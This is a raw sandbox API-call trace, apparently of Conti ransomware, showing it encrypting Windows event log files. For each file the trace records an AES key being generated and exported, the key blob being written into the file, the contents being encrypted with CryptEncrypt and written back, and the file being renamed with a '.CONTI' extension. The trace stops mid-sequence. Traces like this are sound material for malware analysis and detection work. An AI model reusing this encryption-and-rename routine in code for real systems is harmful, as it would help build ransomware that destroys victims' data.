	[0094.994] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 0x20
	[0095.191] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0095.191] GetLastError () returned 0x0
	[0095.191] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=69632) returned 1
	[0095.191] SetFilePointer (in: hFile=0x358, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0095.191] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.191] SetEndOfFile (hFile=0x358) returned 1
	[0095.193] SetFilePointer (in: hFile=0x358, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.193] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.193] WriteFile (in: hFile=0x358, lpBuffer=0x17d3fac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x17d3fac*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0095.195] SetFilePointer (in: hFile=0x358, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.195] ReadFile (in: hFile=0x358, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x11000, lpOverlapped=0x0) returned 1
	[0095.202] CryptEncrypt (in: hKey=0x17c7ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x11000, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x11010) returned 1
	[0095.202] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.202] WriteFile (in: hFile=0x358, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x11010, lpOverlapped=0x0) returned 1
	[0095.202] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.202] WriteFile (in: hFile=0x358, lpBuffer=0x17d3fa0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x17d3fa0*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0095.203] SetFilePointer (in: hFile=0x358, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.203] CloseHandle (hObject=0x358) returned 1
	[0095.204] GetProcessHeap () returned 0x1720000
	[0095.204] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0095.204] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx"
	[0095.205] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.CONTI"
	[0095.205] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.conti")) returned 1
	[0095.214] GetProcessHeap () returned 0x1720000
	[0095.214] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0095.214] CryptDestroyKey (hKey=0x17c7ff0) returned 1
	[0095.214] GetProcessHeap () returned 0x1720000
	[0095.214] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bfde8 | out: hHeap=0x1720000) returned 1
	[0095.214] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0095.494] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x17d4b10 | out: phKey=0x17d4b10*=0x17c8430) returned 1
	[0095.494] CryptExportKey (in: hKey=0x17c8430, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4b14, pdwDataLen=0x4d3fec4 | out: pbData=0x17d4b14*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0095.495] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 0x20
	[0096.474] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0096.474] GetLastError () returned 0x0
	[0096.474] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=69632) returned 1
	[0096.474] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.474] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.474] SetEndOfFile (hFile=0x308) returned 1
	[0096.474] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.480] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.482] WriteFile (in: hFile=0x308, lpBuffer=0x17d4b14*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x17d4b14*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.491] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.491] ReadFile (in: hFile=0x308, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x11000, lpOverlapped=0x0) returned 1
	[0096.492] CryptEncrypt (in: hKey=0x17c8430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x11000, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x11010) returned 1
	[0096.492] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.492] WriteFile (in: hFile=0x308, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x11010, lpOverlapped=0x0) returned 1
	[0096.493] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.493] WriteFile (in: hFile=0x308, lpBuffer=0x17d4b08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x17d4b08*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0096.493] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.493] CloseHandle (hObject=0x308) returned 1
	[0096.494] GetProcessHeap () returned 0x1720000
	[0096.494] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.494] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx"
	[0096.494] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.CONTI"
	[0096.495] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.conti")) returned 1
	[0096.495] GetProcessHeap () returned 0x1720000
	[0096.495] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.495] CryptDestroyKey (hKey=0x17c8430) returned 1
	[0096.495] GetProcessHeap () returned 0x1720000
	[0096.495] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d05b8 | out: hHeap=0x1720000) returned 1
	[0096.495] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0096.495] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x17d7d68 | out: phKey=0x17d7d68*=0x17c8430) returned 1
	[0096.495] CryptExportKey (in: hKey=0x17c8430, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d7d6c, pdwDataLen=0x4d3fec4 | out: pbData=0x17d7d6c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0096.496] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 0x20
	[0096.496] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0096.496] GetLastError () returned 0x0
	[0096.496] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=69632) returned 1
	[0096.496] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.496] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.496] SetEndOfFile (hFile=0x308) returned 1
	[0096.496] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.497] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.497] WriteFile (in: hFile=0x308, lpBuffer=0x17d7d6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x17d7d6c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.498] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.498] ReadFile (in: hFile=0x308, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x11000, lpOverlapped=0x0) returned 1
	[0096.499] CryptEncrypt (in: hKey=0x17c8430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x11000, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x11010) returned 1
	[0096.499] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.499] WriteFile (in: hFile=0x308, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x11010, lpOverlapped=0x0) returned 1
	[0096.499] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.499] WriteFile (in: hFile=0x308, lpBuffer=0x17d7d60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x17d7d60*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0096.500] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.500] CloseHandle (hObject=0x308) returned 1
	[0096.501] GetProcessHeap () returned 0x1720000
	[0096.501] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.501] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx"
	[0096.501] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.CONTI"
	[0096.501] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.conti")) returned 1
	[0096.502] GetProcessHeap () returned 0x1720000
	[0096.502] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.502] CryptDestroyKey (hKey=0x17c8430) returned 1
	[0096.502] GetProcessHeap () returned 0x1720000
	[0096.502] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0f68 | out: hHeap=0x1720000) returned 1
	[0096.502] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0096.502] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x17d8d60 | out: phKey=0x17d8d60*=0x17c8430) returned 1
	[0096.502] CryptExportKey (in: hKey=0x17c8430, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d8d64, pdwDataLen=0x4d3fec4 | out: pbData=0x17d8d64*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0096.503] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 0x20
	[0096.503] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0096.503] GetLastError () returned 0x0
	[0096.503] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=69632) returned 1
	[0096.503] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.503] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.504] SetEndOfFile (hFile=0x308) returned 1
	[0096.504] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.504] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.504] WriteFile (in: hFile=0x308, lpBuffer=0x17d8d64*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x17d8d64*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.505] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.505] ReadFile (in: hFile=0x308, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x11000, lpOverlapped=0x0) returned 1
	[0096.506] CryptEncrypt (in: hKey=0x17c8430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x11000, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x11010) returned 1
	[0096.506] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.506] WriteFile (in: hFile=0x308, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x11010, lpOverlapped=0x0) returned 1
	[0096.507] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.507] WriteFile (in: hFile=0x308, lpBuffer=0x17d8d58*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x17d8d58*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0096.507] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.507] CloseHandle (hObject=0x308) returned 1
	[0096.508] GetProcessHeap () returned 0x1720000
	[0096.508] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.508] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx"
	[0096.508] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.CONTI"
	[0096.508] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.conti")) returned 1
	[0096.509] GetProcessHeap () returned 0x1720000
	[0096.509] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.509] CryptDestroyKey (hKey=0x17c8430) returned 1
	[0096.509] GetProcessHeap () returned 0x1720000
	[0096.509] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0b90 | out: hHeap=0x1720000) returned 1
	[0096.509] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0096.509] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x17d9438 | out: phKey=0x17d9438*=0x17c8430) returned 1
	[0096.509] CryptExportKey (in: hKey=0x17c8430, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d943c, pdwDataLen=0x4d3fec4 | out: pbData=0x17d943c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0096.510] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 0x20
	[0096.510] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0096.510] GetLastError () returned 0x0
	[0096.510] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=69632) returned 1
	[0096.510] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.510] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.510] SetEndOfFile (hFile=0x308) returned 1
	[0096.510] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.510] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.511] WriteFile (in: hFile=0x308, lpBuffer=0x17d943c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x17d943c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.512] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.512] ReadFile (in: hFile=0x308, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x11000, lpOverlapped=0x0) returned 1
	[0096.513] CryptEncrypt (in: hKey=0x17c8430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x11000, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x11010) returned 1
	[0096.513] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.513] WriteFile (in: hFile=0x308, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x11010, lpOverlapped=0x0) returned 1
	[0096.513] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.513] WriteFile (in: hFile=0x308, lpBuffer=0x17d9430*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x17d9430*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0096.514] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.514] CloseHandle (hObject=0x308) returned 1
	[0096.515] GetProcessHeap () returned 0x1720000
	[0096.515] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.515] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx"
